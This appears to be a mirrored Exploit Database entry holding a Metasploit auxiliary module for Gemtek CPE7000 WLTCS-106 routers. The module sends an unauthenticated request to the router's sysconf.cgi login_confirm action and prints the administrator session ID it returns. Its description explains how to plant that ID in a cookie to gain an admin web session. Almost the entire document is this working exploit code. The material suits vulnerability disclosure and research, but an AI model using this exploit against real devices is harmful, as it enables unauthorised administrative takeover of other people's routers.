Gemtek CPE7000 – WLTCS-106 Administrator SID Retriever (Metasploit)

• Exploit Database
• 102 阅读

• 作者： Federico Scalco
  日期： 2016-04-25
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/39725/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Auxiliary
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Gemtek CPE7000 - WLTCS-106 Administrator SID Retriever',
  'Description'=> %q{
  A vulnerability exists for Gemtek CPE7000 model ID WLTCS-106 which allows
  unauthenticated remote attackers to retrieve a valid Administrative SID.
  
  To obtain an administrative web session inject this SID in your client's
  cookie with values as follow: userlevel=2;sid=<SID>
  
  Tested on Hardware version V02A and Firmware version 01.01.02.082.
  },
  'References' =>
  [
  [ 'EDB', '39716' ],
  [ 'URL', 'http://www.mentat.is/docs/cpe7000-multiple-vulns.html' ],
  [ 'URL' , 'http://www.gemtek.com.tw/' ]
  ],
  'Author' =>
  [
  'Federico Scalco <fscalco [ at] mentat.is>'
  #Based on the exploit by Federico Ramondino <framondino [at ] mentat.is>
  ],
  'License'=> MSF_LICENSE,
  'DisclosureDate' => "Apr 07 2016",
  'DefaultOptions' =>
  {
  'RPORT' => 443
  }
  ))
  
  register_options(
  [
  OptString.new("TARGETURI", [true, 'The base URI to target application', '/']),
  OptBool.new('SSL', [true, 'Use SSL', true])
  ], self.class)
  end
  
  def run
  @peer = "#{rhost}:#{rport}"
  
  res = send_request_cgi({
  'method' => 'GET',
  'uri'=> '/cgi-bin/sysconf.cgi',
  'vars_get' => {
  'page' => 'ajax.asp',
  'action' => 'login_confirm'
  }
  })
  
  if !res or res.code != 200
  fail_with(Failure::UnexpectedReply, "Server did not respond in an expected way")
  end
  
  ssid = res.body.split(',', 2)
  print_good("#{@peer} - Valid root SID retrieved: #{ssid[1]}")
  end
  end
  

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